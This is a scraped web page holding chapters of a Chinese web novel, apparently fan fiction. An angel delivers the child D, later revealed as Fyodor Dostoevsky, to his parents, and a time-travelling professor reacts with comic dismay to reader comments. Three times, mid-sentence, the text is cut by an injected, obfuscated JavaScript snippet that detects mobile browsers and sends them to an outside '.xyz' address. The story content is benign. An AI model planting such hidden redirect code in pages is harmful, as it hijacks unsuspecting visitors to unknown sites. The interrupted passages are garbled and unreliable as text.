阿纳斯塔西娅迷迷蒙蒙地从梦中醒来,感觉自己听到了什么不同寻常的声音。 她睡觉一向比较浅,比较容易被惊醒。所以一开始她并没有太在意这件事,直到她困倦地抬起头,看到床头的墙壁上投出了一个有着双翼的人类影子。 双翼? “唔!”她睁大眼睛,本能地屏住呼吸,刚刚醒来的大脑还是一片空白。但她已经下意识地捂住了自己的嘴同时另一只手本能地开始推自己还在睡梦中的丈夫。 他的丈夫轻轻地呻吟一声,随后有些疲惫不解地睁开了眼睛,并在发现天色似乎还很昏暗后变得更加困惑了。 于是他推了推自己的妻子,用迷蒙的视线无声询问到底发生了什么事情。然后他就看到妻子那对因为惊讶而睁得很大的双眸,这让他也不由自主地疑惑起来,朝着对方的视线看去。 ——这下好了,他们都能看到墙壁上的那个双翼人形的影子了。 他们的脑海中在短暂的空白后都冒出了一个相似的想法,但是在他们说话之前,就有一个声音从后面传来。 “很抱歉,在这样的时候来拜访。” 出乎意料的有礼貌的声音,简直可以让人受宠若惊。在床上的两个人明显就是被这突然的动静给吓了一跳,甚至都没有想到回头,只是呆呆地看着墙壁上的影子。 那对展开的双翼被合拢在人影的背后。 “你们的声音传到了天堂。那是一个有关于需要一个孩子的祈求,是吗?我们能够从你们的声音当中明白你们的苦恼与心意。” 说话的人使用的是标准的拉丁语,语气十分柔缓和温和,吐字很清晰,就连对拉丁语学习相当苦恼的阿纳斯塔西娅在大脑一片糊涂的情况下也能听清。 她飞快地明白了对方的意思,这回就算是用双手捂住了嘴,但也掩盖不住她从口中发出惊喜且不可思议的声音。 “天使!”她说,“您是来赐予我们一个孩子的吗?” 这种话似乎有点冒犯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644852|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的丈夫在最初的惊喜过去后很快就意识到了这一点,下意识地抓住了自己妻子的手臂,本能地露出有点担忧的神情。 但那位天使似乎并不是很在意。 “就在前不久,有位可怜的母亲把他无力抚养的孩子托付给了我们。” 他的声音听上去依旧相当温和,并没有在意阿纳斯塔西娅的言语:“他聪慧、可爱。所有的天使都祝福他,喜欢他。但他还没有抵达前往天堂的年纪,因此我们只能把他交给凡人。” 说到这里,床上的两个人都明白了这到底是什么意思。他们看看彼此,眼中都是惊讶和激动的神色。 “这便是神明赠予你们的孩子。他就在门口等着你们。为他起一个名字,带着他重新开始在人世的生活吧。” 说完这句话后,天使就张开了翅膀。 羽翼拍动的声音。 阿纳斯塔西娅下意识地闭上了眼睛,感觉有风在自己的面前轻盈地掠过。等到她再次睁开了眼睛时,却发现这个房子一如既往,已经没有了那个投在墙上的影子。 她立刻从床上跳起来,赤着脚跑向窗户,抬头望过去的时候,只看到了一闪而逝的黑白色的羽毛。 “鹳鸟……”她下意识地喃喃,然后眼睛瞬间就亮了起来,转头喊道,“亲爱的,我们快点去门口看一看!送子的鹳鸟来了!” “别急,先批衣服。你的身子太虚弱了,小心着凉!”丈夫匆匆忙忙地喊道,往自己和妻子的身上都披了件外套,又催促着心急的妻子穿上鞋子,这才打开了房门。 阿纳斯塔西娅提着衣摆,几乎是一马当先地跑了下去,也没有管后面“小心台阶”的声音,三步并作两步地匆忙来到了门口,把门朝内拉开。 一个孩子。 一个熟睡中的孩子就这样出现在她眼前。他的身边还散落着几根长长的羽毛。银灰色、黑色与雪白的根部交织,是相当标准的鹳鸟羽色。 她立刻把这孩子抱起来,惊喜地打量着他的眉眼和脸蛋,最后把他靠近自己,注意到这个孩子的手心握着什么东西。 但她没有在意,只是露出美丽的笑容。 “这是上帝赠予我们的孩子,米沙!” 她抱着孩子,关上门,对赶来的丈夫兴奋地喊道:“再也没有比现在的我们两个更加幸福的人类了!我们真的有了个孩子,还是天使和鹳鸟送来的!” 她的丈夫轻轻愣了一下。 然后他也露出了微笑。 “是啊,再也没有了。”他说,“但你想好到底要给他起什么样的名字了吗,亲爱的?” 这并不是一个很难回答的问题。这位新晋的母亲在匆匆忙忙跑下楼的时候就已经想好了。她给出的答案毫不犹豫。 “就叫费奥多尔!意思是上帝的礼物,真的再适合不过了。”她高兴地说,“然后再加上你的姓氏和名字——费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基!” 这是神明的赐予和回应。 对于神的信徒而言,也是种光辉的荣耀。 米哈伊尔怜爱地看着自己每天都会为孩子问题祈祷的妻子,吻了吻她容光焕发的脸颊。 “把孩子带回床上吧。”他说,“这个夜晚还很冷,别在这里冻着。” 那个晚上确实有点冷。 但D终于从麻醉剂的效果中昏昏沉沉地醒过来时,他整个人都被裹在温暖柔软的被子里,睁开眼睛看到的是有着漂亮装饰的天花板。 那绝对不是旅馆中会出现的东西。 他沉默不语地看着这个房间里的陈设,然后张开了手掌,看着掌心明显是被人为塞进去的一张纸条。 纸条皱巴巴的,明显是被人用非常粗糙的手段从书页上撕了下来。他把纸条重新展开,看到有两行字被潦草地写在了纸上。 “虽然稍微有点突兀的分别,但希望你能够喜欢我好不容易为你找到的新家。那么,就由命运来安排我们未来的相见吧,亲爱的D先生。 还有,记得看窗外哦:D” 窗外? D从床上起来,拉开了厚厚的窗帘,然后又打开了百叶窗。 窗外是佛罗伦萨安静的夜晚。几颗稀疏的星星点缀在遥远的幕布中,树木摆动着柔软的枝条和斑驳的影子。 有着黑褐色卷发的天使就坐在树枝上,一只手指抵在唇上,对他露出狡黠的微笑。 “这下就是正式的告别了。” 他说:“再见,顺便也替书里的那群小家伙说句再见。” 伴随着翅膀振动的微弱声响,那对美丽的黑白色羽翼在黯淡的夜幕当中一闪而逝。 只留下站在窗边的孩子。 他抬头看着夜晚的天空,眨动两下那对红宝石般的眼睛,最后勾起了嘴角。 那是一个并不非常明显,但确确实实出现在了他脸上的笑容。 “再见,天使先生。” 91.主角:呱,我不要看呀 还没有泛起鱼肚白的黯淡天色,充满水汽的海风。 当带着自己的行李重新回到了二十一世纪之后,夏章雾做的第一件事就是深深地呼吸了好几下这片岛屿上充满了咸味的潮湿空气。 他重新换上了行李箱里二十一世纪的服装,此刻只感觉相当神清气爽,甚至觉得自己就算此时见到某个俄罗斯人也可以用心平气和的态度去对待——好吧,其实这个有待商榷。 但现在他的心情真的非常好。 倒不是因为摆脱了某个未成年,只是他单纯地有点怀念这个便利且食物还算不错的时代:现在他再也不想去品尝没有香料加成的欧洲土味腌肉、黑面包与各种烂糊糊了。 一想到自己接下来可以吃到在过去几个月想都不敢想的大餐,很难不让人油然而生一种强烈的感动。 “只要你不把感动的泪水从嘴角流出来,我都没意见。”画外音在旁边吐槽道,“但我还是建议你回住的地方好好洗个澡。免得让你的那群学生以为你用了一个晚上的时间去钻溶洞。” 此时的夏教授身上多少有点风尘仆仆。 毕竟是活在中世纪,自然不能指望能有着和现代社会一样的便利与轻松。 他瞧了瞧自己,“啧”了一声,但也没有针对这一点发出什么评价。事实上,他现在也很嫌弃自己现在的样子。不过在最后,这位教授还是丢下了一句铿锵有力的话,然后才跑去洗澡。 “等我把事情都处理完,就去考验那群小兔崽子在复活节岛上的作业。”他说,“三十页论文都没有写完的平时分都按照不及格来算!” 这个故事听上去就有点凄惨了。 但事实证明,能够在夏教授这样的老师手下存活下去的人各个都有各自的绝活。 在听到了自家老师的要求后,所有学生都成功交上了至少五十页的论文。 可以看得出来,他们早就习惯了夏章雾的突然袭击,并且在自己的背包里准备了至少五份的论文稿子,以应对各种突发情况。 但其中也不缺投机取巧的天才。 作为夏章雾一号狗腿子的蛇在知道这件事情后,立刻就谄媚地爬了过来,开始用自己的能力研究这些论文,并且飞快地得出了结论。 “这个,这个,还有这个和那个!” 它用尾巴挑了好几篇论文出来,试图对夏章雾大献殷勤:“老大你看,这些论文全部都是用魔法编造出来的。我发誓上面的每个都沾上了非常明显的魔法痕迹。” “只有这么点吗?看来这次用魔法作弊的人还挺少的,就是这个内容……” 夏章雾皱着眉,仔细翻了翻这几篇论文,确认这几个蠢蛋学生用魔法写出来的东西还是一坨狗屎后,忍不住叹了口气。 “你们是想回学校找一颗歪脖子树把自己吊上去反思学习态度,还是想要在最后的这几天里自己写一篇以复活节岛为主题的还算看得过去的论文?”他问。 而那几个作弊被发现的学生们纷纷苦着一张脸,很有默契地选择在剩下的日子里写一份新的论文,同时在夏章雾看不到的角落里对这条该死的蛇怒目而视。 而蛇也是很骄傲地仰起了脑袋,甚至还对他们回以了挑衅的眼神。 它可能打不过面前的这个黑白毛鸟人,难道还打不过你们这群小兔崽子吗? 不过或许是它的眼神实在太嚣张的缘故,其中一位即将要昼夜为论文奋战的学生实在是看不下去了,主动选择了举报。 “夏教授!”他喊道,“我在两周前还看到这条蛇在给海蒂写论文!它也参与了论文造假案件里面,你明鉴啊!” 嗯? 夏章雾的目光若有所思地转移到了鳞片似乎都快要被吓得立起来的蛇身上,然后从那一堆厚厚的论文里面挑出海蒂的论文,随意地翻了翻。 选题切口小且新颖,条理清晰,论证合理,见解独到,分析有点意思,废话几乎没有。除了引用的文献相当少,格式还很不规范以外,基本上没有缺点。 怎么说呢,这论文水平比他那些蠢学生要好太多了。在一众狗屁不通的存在当中简直是鹤立鸡群。就算是没有人举报,事后仔细检查的时候他也能一眼看出来这篇论文是代写的。 他又看了眼自己的学生,只觉得痛心疾首。 ——学术水平连那个俄罗斯混蛋身边的一条蛇都比不过,你们这群整天脑子里除了研究各种仪式魔法和召唤仪式就啥也不剩的家伙真的不会感到羞愧吗? 有辱师门啊! “要不你们还是全部重写一遍吧。” 他想了想,最后很真诚地说:“写论文输给一条蛇,以后我出门都不好意思说你们是我带出来的。感觉我在人类学上的国际声誉全都被你们败坏了。” 学生团体纷纷爆发出一片哀鸿遍野的惨叫。 夏章雾可不管这些。他转过头,用相当深沉的目光看着正缩着尾巴的蛇。 蛇看上去一副非常想要跑路的样子,但在夏章雾的目光下又不怎么敢动,最后只是心虚地吐了吐蛇信子,决定为自己接下去的存活几率稍微努力一下。 “事情其实是这样的!”它尝试据理力争,通过这种方式来说服面前的人类,“当时我还不知道会布置论文作业。那小姑娘就是跑过来问我会不会写论文。” 它用力地比划着尾巴:“我当时心里想,这个简单啊,随便糊弄一下就行了。于是闲着也是闲着,我干脆写了一个晚上给她看。结果她就抱着论文如获至宝地跑掉了。我真的不知道她会拿这篇论文来交您的作业啊!” 夏章雾的目光变得更加深沉了。 “随便糊弄,一个晚上?”他重复了一遍。 “呃,是啊。”蛇老老实实地说道,努力把自己压缩得更小,“我真的不是故意的……” “很好。从今天开始你就是我的助教了!” 夏章雾呼出一口气。他相当欣慰地拍了拍蛇的脑袋,语气瞬间变得愉快了起来:“如果你还愿意在人类学上继续深造,我会向校长力排众议地把你申请为讲师的。” 蛇:“?” 它伸直了上半身,眼睛瞪得圆溜溜的,完全没有想到竟然还会有这样的发展。 “加油啊,我们学校人类学水平还能看得过去的只有我们两个了。我一直都想找个助教帮我管管那些小兔崽子,但奈何那群家伙的水平实在是太次,还会动不动就和学生狼狈为奸——” 夏章雾则是完全一副振奋的表情:“现在看来,振兴布利切斯特大学人类学专业的希望,就在我们两个身上了!” “……?” 端着杯咖啡的费奥多尔才刚刚走过来,就听到这番热情洋溢且不知所云的话语。 他有些不解地看着夏章雾和他肩膀上那条似乎同样激情洋溢起来的红蛇,有点不明白他们到底要怎么完成人类学专业的复兴。 在他看来,这个大学的人类学专业本身的含人量就很稀薄了。 而这个时候,夏章雾也发现了费奥多尔。 “喂,费某某某!你的蛇我就借走了!” 他说:“我发现它简直比安吾还有希望成为我们的人类学之光啊!” 只能说幸好坂口安吾因为熬夜看文本资料,现在还在睡觉,否则他要是知道自己身上竟然肩负着这样伟大的重担,肯定会喜极而泣的。 费奥多尔“嗯”了一声,表示同意。 他本来就不怎么在意那条蛇的去留,他们两个实际上都是因为夏章雾才走到一起,而且看彼此还都不太顺眼,就算分道扬镳也没有什么可惜的地方。 而那条获得了助教头衔的蛇在意识到自己现在的身份安全没有问题后,就又重新耀武扬威了起来。它决定先旅行一下自己的职业,于是就盛气凌人地赶着那群学生去写论文了。 夏章雾看着这一幕,满意地点点头。 然后他看向费奥多尔,似乎是想起来了什么事情,有点好奇地询问道:“对了,你知道上次全球清缴吸血鬼的事情具体经过吗?就是拥有吸血鬼异能的布拉姆被杀死的那件事。” 费奥多尔微微扬眉。 他没有说自己不清楚,而是直接问道:“您怎么会突然在意这件事?” 夏章雾摸了摸下巴,思考着自己要怎么委婉地解释一下这件事。撒谎肯定是不能撒谎的,毕竟面前的这家伙肯定也能看出来。 所以只能稍微包装一下了。 “昨天我不是说要去办事吗?那件事情比我想象得更顺利。然后我就想起来了一些事。” 他斟酌着说道:“大概是在十三世纪吧。我那时好像从高塔上面救下来过一个孩子,应该就是布拉姆。现在想起来了,所以问一下他当初到底是怎么死的。” 费奥多尔眯起眼睛。 “哦?是这样吗?”他轻飘飘地说。 这句话里面的不满意味稍微有点强烈,反倒让夏章雾都有点莫名其妙起来。他不解地看着对方,也不明白这个人到底是在发什么神经。 “布拉姆没有死,因为某些特殊的情况,他现在还算是活着。” 但费奥多尔显然并不想解释自己突然不满的原因,只是平平淡淡地说出了这句能让整个欧洲再次炸毛的消息,然后便转身离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650459|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只剩下了满头雾水的夏某人。 他本能地对作者说道:“等等,所以布拉姆还活着?那不是完了——咳咳咳,我倒也不是这个意思。但那家伙为什么生气?我这句话里面有什么值得人生气的地方吗?” 作者叹了口气。 “啊对对对。”它说,“你说的都对。” “看他那么不高兴的样子,我还以为当初被我救下来的是他,因为被认错了在发脾气呢。” 夏章雾吐槽道:“虽然他们外貌上都是红眼睛和黑头发,虽然他也是一个活过了几百年的家伙,虽然他们都特别喜欢戴帽子,虽然他也说过他的异能诞生于一场焚烧了永恒的火中,虽然我 也真的在高塔上放了一把火,虽然……” 呃,这个“虽然”的是不是有点多了。 夏章雾默默地咽了下口水,心头突然升起了某种不妙的预感。 他非常果断地掏出笔记本,匆匆忙忙地翻阅起读者之前的评论。果然,此前评论里绝大多数的黑条都已经消失不见了,他往前一翻就看到了新的内容。 「liar七零八碎: 这个塔果然还是被教授烧了呢。翻车教授可爱捏,相信教授能解决捏所以果然是费佳吧!小仓鼠团子可爱捏,危险捏。」 夏章雾,眼前一黑。 不过他还是艰难地支撑着自己重新翻到最新的一页,怀抱着最后的希望看了下去。 「阴暗社畜A: 果然没来得及啊哈哈哈哈哈哈哈哈哈哈哈!天呐,我得给你看看原文: “就叫费奥多尔!意思是上帝的礼物,真的再适合不过了。”她高兴地说,“然后再加上你的姓氏和名字——费奥多尔·米哈伊洛维奇.陀思妥耶夫斯基!” 没办法,拼尽全力无法让睁眼瞎看清世界,救不了一点。我真的很努力帮你了……」 夏章雾默默地看了看天空。 他用颤抖的手再翻了一页。 「斯特拉帝射线: 小章啊(拍肩膀)你要知道什么都不能笃定,而且能消除黑条说明你认识才会消除(话说是不是怕他直接丢下D才上小黑条的)」 这不是当然的吗!要是他早知道那家伙就是某个俄罗斯人,他早就把人丢下来能跑多远就跑多远了吧! 夏章雾悲愤地看着这个评论,手中“哗啦啦”地又翻了几页。 「巫渺: 话说从本子上撕下的纸还能显现评论吗?好想告诉费佳天使为没看到他的笑容感到遗憾。不过章雾很快就能看到成年版的笑容了。读者的笑容扩大了(嘴角上扬)」 不,现在他完全不遗憾了!完全不!现在他最遗憾的事情已经变成自己为什么那么喜欢多管闲事了! 夏章雾牙疼地想着,继续往下看。 「玧末: 接下来是读者和作者放肆嘲笑您的时间,做好准备了吗?亲爱的勒托先生,我们的笨蛋天使?」 「暮川夜: 哈哈哈哈哈哈哈哈哈一一账务啊,哈哈哈——首先让我们恭喜亲爱的账务先生,终于可以看见被屏蔽的字眼了!其次,看见也来不及了吧?毕竟亲爱的账务先生已经回去要直面某个家伙了。天呐,真是太可怜了哈哈哈……」 「大家好我是超级改名人: 欢迎回到二十一世纪! 好的,我要开始笑了。咳咳一一(清嗓子)(咔咔咔咔笑)(吸气)(一阵沉默)(狂笑)(鹅叫)(水壶爆鸣声)(蛙鸣)(咚地一声)(短暂的痛呼)(高压锅的声音)(微弱的咔啦咔啦声)(重归寂静)」 “你们这群家伙要不要笑得那么夸张!果然你们就是想要看热闹吧!” 夏章雾终于绷不住了,他剧烈地摇晃着手中的本子:“稍微给我同情一下啊!我明明都这么倒霉了,结果还是要被你们超大声地笑来笑去!这不就更可怜了吗!” 然后他就看到了真正令人破防的评论。 「Audience: 那我要说了,███就是费奥多尔啊,D就是费奥多尔啊,亲爱的,最伟大的先知大人,明明在OOL上比所有人都敏感,为什么没有意识到呢?黑发红瞳,多么明显的特征,难不成某天到了未来也会不认识长大的太宰治?又或者您在欺瞒自己的“心”?还是说这是只针对某人的特殊?啊呀呀,独一份的特殊……」 何等可怕和无理由的造谣! 何等严重的污蔑! 他才没有觉得那个家伙很特殊啊! “算了。”夏章雾心如死灰地把本子往旁边一丢,“这样的人生还是重开算了吧。” 92.为什么会变成这样呢…… 事情怎么会变成这个样子呢? 事情怎么就会这么巧合呢? 明明一开始觉得D的真名会是布拉姆就已经非常不可思议了,但真相怎么可以比这个结果还要可怕啊! “这也是没有办法的吧,明明大家都已经在努力提醒了。” 画外音发出吐槽的声音:“明明评论区里的大家一开始都是保持着保密的态度,但你越想越离谱,读者都忍不住要告诉你答案了。就连我到最后都忍不住说漏了嘴。” 谁想得到,在这种那么多暗示和提示的情况下,你这家伙竟然还能想歪啊! 夏章雾抬眸瞥了眼上方,幽幽地叹了口气。 “这也没办法吧……”他虚弱地说。 ——他怎么也想不到,那个俄罗斯人小时候竟然会那么可爱啊。这其间的差距真的大到了他都没有办法联系起来的地步。 但他现在连进一步反驳的力气都没有了,只能以一种充斥着惨淡与绝望的生无可恋表情眺望着远处的风景,脑子里全是各种乱七八糟的、足够让人跳进大海的念头。 但此时他正在回到英国的飞机上,并没有办法直接从上面一跃而下抵达大海。 快乐的外出考察环节总是很短暂的,现在他们又要重新回到布利切斯特了。但如果仅仅只是这件事的话,夏章雾还不至于这么绝望。 毕竟在布利切斯特大学教书虽然要每天面对那群在课堂上格外无知和愚蠢的倒霉学生,其他方面——尤其是食堂内容——还不算糟糕。真正让他陷入心如死灰的地方在于…… 嗯,这次回去的飞机上,某位至今还没有被记住姓名的俄罗斯人座位就在他身边。 而夏章雾此刻比平时千百倍地更不想要见到这个家伙。他只想独自一个人安静地待着,好好消化这一系列重大问题。 “可是你都已经整整消化三天了耶。” 画外音继续持之以恒地吐槽道:“你真的不想去安慰一下人家吗?人家可是孤苦伶仃地寻找了你好多年,结果好不容易等你‘想起来’后,还发现自己的身份被认错了。” 这种事光是想一想就觉得有点惨过头。只能说被认错的对象幸好是费奥多尔先生,否则肯定会让人心里觉得过意不去的。 “啊,原来三天了啊……” 夏章雾依旧顶着那副生无可恋的表情,随后深深地叹了口气,用有气无力的目光瞥了眼自己身边的人。 费奥多尔正在敲着他的笔记本电脑。 虽然在飞机上没有网络,但他好像还是在敲着什么看上去是代码的东西,神情相当专注,似乎已经忘记了三天前发生的事情。 在注意到夏章雾那极轻极快的一瞥后,他还抬起头,在工作的间隙用眼神无声地传达了有些不解的询问,似乎不太明白对方为什么突然看了自己一眼。 夏章雾再次叹了口气。 “好想死。”他说。 “您还有事情要完成。”费奥多尔停下了手上的工作,非常认真地回答。 夏章雾的眼神看上去更死了。 “但还是好想死。”他说。 费奥多尔表示理解地点了点头。 “您还有很多事情要完成。”然后他回答。 夏章雾沮丧地哼唧了一声,把脸直接撞在了桌子上:“呜呃,真的不能让我去死一死吗?” 费奥多尔安慰般地拍了拍他的背:“可您真的还有非常多的任务要完成。” 夏章雾抬起头,幽怨地看着他。费奥多尔也歪了下脑袋,露出有点不解的神色。 两个人就这样互相沉默地看了一秒。 最后还是夏章雾率先发出了怨气十足的指责声音:“喂喂喂,这种回答句式真的有点熟悉过头了吧!不要用你在几百年前就说过的敷衍话术来对付我啊!” 费奥多尔轻轻地“唔”了一声。 “但尽管已经过去几百年了,您还是那么喜欢撒娇啊。”他说。 夏章雾不说话了。 他“啪叽”一声,以生无可恋的姿态继续把自己躺平摊在了座位前的桌子上,身体力行地模仿起快死的鱼吐泡泡的样子。 费奥多尔弯起眼睛,轻轻地笑了起来。 “其实我也没有很生气。”他说,“毕竟大家都知道您的记忆力很糟糕,能想起来这件事就已经很超乎我的预料了。” ——骗人啊,你之前听我叫错名字的时候就是非常生气的样子! 夏章雾虚弱地瞥了这人一眼,然后继续在桌子上把自己当成一条吐泡泡的死鱼,摆明了不愿意相信对方的鬼话。 费奥多尔再次笑了一声,大概是觉得对方此时这种试图逃避现实的行为非常有趣。 他把自己手头的数据保存,熟练地关掉笔记本电脑,放进电脑包里,然后主动伸手从背后抱住了夏章雾,把脑袋靠在了对方的肩膀上。 这是他们第一次主动做出这样亲密的动作。 “我这些日子以来,真的很想念您。”他说。 夏章雾的身子明显僵住了。 最后他很没有气势地“咕”了一声,以动弹不得的咸鱼姿态抑郁地看着天花板。 “是吗?”他残念地说,“反正我现在的状态就是很后悔,非常后悔……” 当时他怎么就那么眼瞎,完全被乖巧可爱的未成年人给蒙蔽了双眼呢?谁能想到那个比太宰治都乖的崽子能长成这个样子? ——歪掉了啊!这是完全长歪掉了! 夏某人在心里悲愤地想着,只感觉自己给自己挖了一个硕大无比的坑,而且还是那种绝对没有办法跳过去的类型。 “但是不管怎么后悔,勒托先生都没有办法改变已经成为事实的事情。”费奥多尔这样微笑着回答道。 谎言不会伤人,真相才是快刀。 夏章雾陷入了沉默,感觉自己这辈子都快要完蛋了。然后他又悲伤地计算了一下费奥多尔口中他们的平均分离时间,尝试计算出自己以后前往过去时到底会遇到多少次费奥多尔。 结果令人沮丧。 怎么算都有至少几十次,怎么看都是相当频繁的数字。 一想到这里,夏章雾就更抑郁了,甚至都不想管此时正在抱着自己的俄罗斯人:毕竟比起来未来很可能会发生的几十次相见,这种事情大概也就是洒洒水的程度吧。 “……” 而坐在他们后面座位上的坂口安吾默默地探出半个脑袋,以非常难以言喻的眼神看着前面两个拥抱的大人。 他想要说点什么,但感觉自己完全不该在这种时候说出口。他只觉得自己以前每次都会在这两个人激烈聊天时悄悄跑掉的行为正确得不能再正确了。 趴在他头顶上的红蛇也沉默了。 最后它用尾巴尖捂住了坂口安吾的眼睛。 “小孩子不要看这些。”它低声说道,“看多了会长针眼的。” 然后它又转过头,看了一眼后面那些各个都在努力伸长脖子,以便围观教授八卦的学生,在心里默默地表达了对这群勇士的敬佩之情。 但它还是昂起头,摆出相当严厉的样子。 “去去去!别脑子里全是看别人热闹!” 它飞窜过去殴打这些天天看别人八卦的人类小崽子,把他们打得捂着脑袋惊慌地缩起来,同时压低了声音,骂骂咧咧地喊道:“论文写好了吗,报告写好了吗,没有就给我写!” 于是学生们只能苦兮兮地继续低头回去写自己的各种作业了。蛇继续在它们的头顶盘旋了几轮,又飞了回去。 此时坂口安吾也默默地把自己的存在感尽可能地压缩了,假装自己还在很专心致志地阅读有关于复活节岛的资料。 蛇趴在他的肩膀上,终于松了口气。 虽然说从个蛇意愿上来看,它也非常想要看看这两个家伙的热闹。但它也知道自己要是真的这么干了,某位天使事后要是恼羞成怒地想要找点什么来转移怒气,那时肯定是跑不了的。 所以这种时候最重要的果然还是管住自己的眼睛和好奇心,假装自己什么都不知道。 不过……竟然敢拐那个混蛋天使啊。 蛇有些感慨地吐了吐信子,突然对费奥多尔涌起了一股发自内心的钦佩之情。 ——厉害啊,兄弟。 再也没有别的打扰。 费奥多尔闭着眼睛。他紧紧地抱着自己怀里的人。他能够感觉到对方衣服下的温度,还有稍微有些紊乱的心跳。 上一次他这样抱着对方,还是在二十世纪初的美国。只不过这次对方的态度要显得更警惕也更加紧张,仿佛随时都做好了反击的准备。 “所以你到底抱够了没有。” 夏章雾幽幽的声音传来:“抱够了的话,我就要自己找个地方冷静了。” ——如果没有抱够,那我就立刻把你从飞机上面给丢下去。 费奥多尔听出了这层意思。他睁开眼睛,笑着松开了手。 “那我就在这里等您回来。”他说。 夏章雾选择用眼神瞪人,然后毫不犹豫地起身快步离开。 作者看着这样的一幕,最后默默地从自己的零食大礼包里面掏出了一袋蓝莓夹心巧克力,撕开包装“咯滋咯滋”地吃了起来。 “所以你现在对这种情况有什么想法吗?” 它这样问溜到洗漱间的主角先生。 “没什么想法,就是感觉有点明白冰雪女王当初说的那句话到底是什么意思了。”夏章雾按了按自己的太阳穴,一反常态地给出了相当冷静的回答。 作者咀嚼巧克力的动作一顿:“嗯?” 不是哥们,你这种时候脑子里竟然都是正事吗?平时我也看不出来你这么靠谱啊? “就是那位女王最后的诅咒。” 夏章雾在镜子里面稍微整理了一下自己的衣摆,然后用认真的语气回答道:“有关于潘多拉的那句话,你应该还没有忘记吧?毕竟就是你亲笔把那句话给写下来的。” 当时冰雪女王说出这句话的意义在明显不过了:他在高塔上用眼泪让那些孩子重新回到人群的行为,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656913|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是和宙斯让潘多拉从石像变成人类的故事是一样的。 “希腊神话中把石像变为人的故事最经典的有两种。一种是潘多拉的盒子,另一种则是皮格马利翁的雕像。前者不必多说,而后者则是爱创造的奇迹。” 夏章雾打开水龙头,接住一捧水,简单地洗了洗手和脸,语气很平静。 他说:“总之就是一个喜欢上雕像,最后用爱打动了神明,让雕像成为活人的故事。人们总是期望这类故事会有皮格马利翁的结局,但实际上潘多拉的故事才最是有可能发生的。” 把一个冰冷的、永恒的、不理解悲喜的生物重新赋予人的生命、人的衰老和人类的感情或许是一件相当了不起的事情。但这种事情并不一定总是会带来美好的结局。 人的天性赋予的并不只有美好,也有愚昧与负面的丑恶。在奇迹中变成活人的雕像也不一定满怀爱意地成为皮格马利翁的妻子,也有可能打开潘多拉的魔盒。 “我之前考虑了很久冰雪女王为什么会笃定它用自己的死亡布下的计划会成功。它的死亡到底会带来什么必然导致的后果?但到最后,我确实明白了有几件事是必然会发生的。” 夏章雾看着镜子里的自己,眯起眼睛,缓缓地说道:“首先,它知道在它死后,我肯定会把高塔里所有的孩子带走,让他们恢复正常,重新回到人类的社会中。” 这就是冰雪女王口中的爱。 它想要人类毁灭于它最厌恶的爱,它知道只有关于爱的东西才能摧毁自己。她知道能拿着名为“爱”的东西杀死自己的人,绝对不会放弃高塔中的孩子。 “确实。而且它既然已经对你这个专业杀文学负面体的家伙有所了解,那么知道你的行事逻辑也很正常。” 作者点了点头,相当实事求是地说。 虽然它很少剧透接下来的关键剧情,但在自家主角已经猜出来什么的情况下,它也不会给出误导项反驳。 夏章雾也“嗯”了一声。 然后他继续说道:“其次,那位冰雪女王似乎很喜欢出门。” 当冰雪女王驾着冰鸟拉的辇车出行时,这个世界上几乎没有人能够寻找到它的行踪。位于极北的高塔就是想要杀死它的人唯一可以寻找到它的地点。 但前来杀死它的人要是登上高塔后,如果没有见到这位女王呢? 花上未知的时间,等待着一个不知道什么时候回来的家伙?这个建议光是听上去就很蠢,所以可选的方案也就只剩下了一个。 ——用铃铛。 “那串能让冰雪女王现身的铃铛只有D才能摇响。也就是说,能够真正走到它面前,来杀死它的只有被那个孩子认可的人。” 夏章雾闭上眼睛,仔细地回忆着当时发生的事情,他依旧还记得当时发生的一幕幕,包括冰雪女王在被火焰吞没时的那个笑容。 从容的、讽刺般的笑容。 他说:“这就是冰雪女王用自己的死亡确认的现实。杀死它的人一定得到了D的认可,并在事后也必然会带着这些孩子离开。” 他确定自己的这个猜测是正确的。 “所以你觉得那些孩子中有人就是它最后那句话里的潘多拉?而费奥多尔则是其中最可能的那个。”作者说。 “所以我才会以为D是布拉姆啊。” 夏章雾虚起眼睛,无语地说道。 事实上,每次说这个的时候他的心态都有点绷不住。但他停顿了一会儿,还是解释道: “那个被我从高塔带回人间的孩子成为了伤害同类的吸血鬼——当时我觉得这大概就是冰雪女王想要看到的东西。所以我才觉得她的计划失败了。毕竟布拉姆注定会死在未来。但现在这个真相把我的思路全打乱了。” D不是布拉姆,是费奥利奥。 呵呵,这到底什么国际玩笑。这不是说明他最后的半截推理完全出错了,同时也放心得太早了吗? 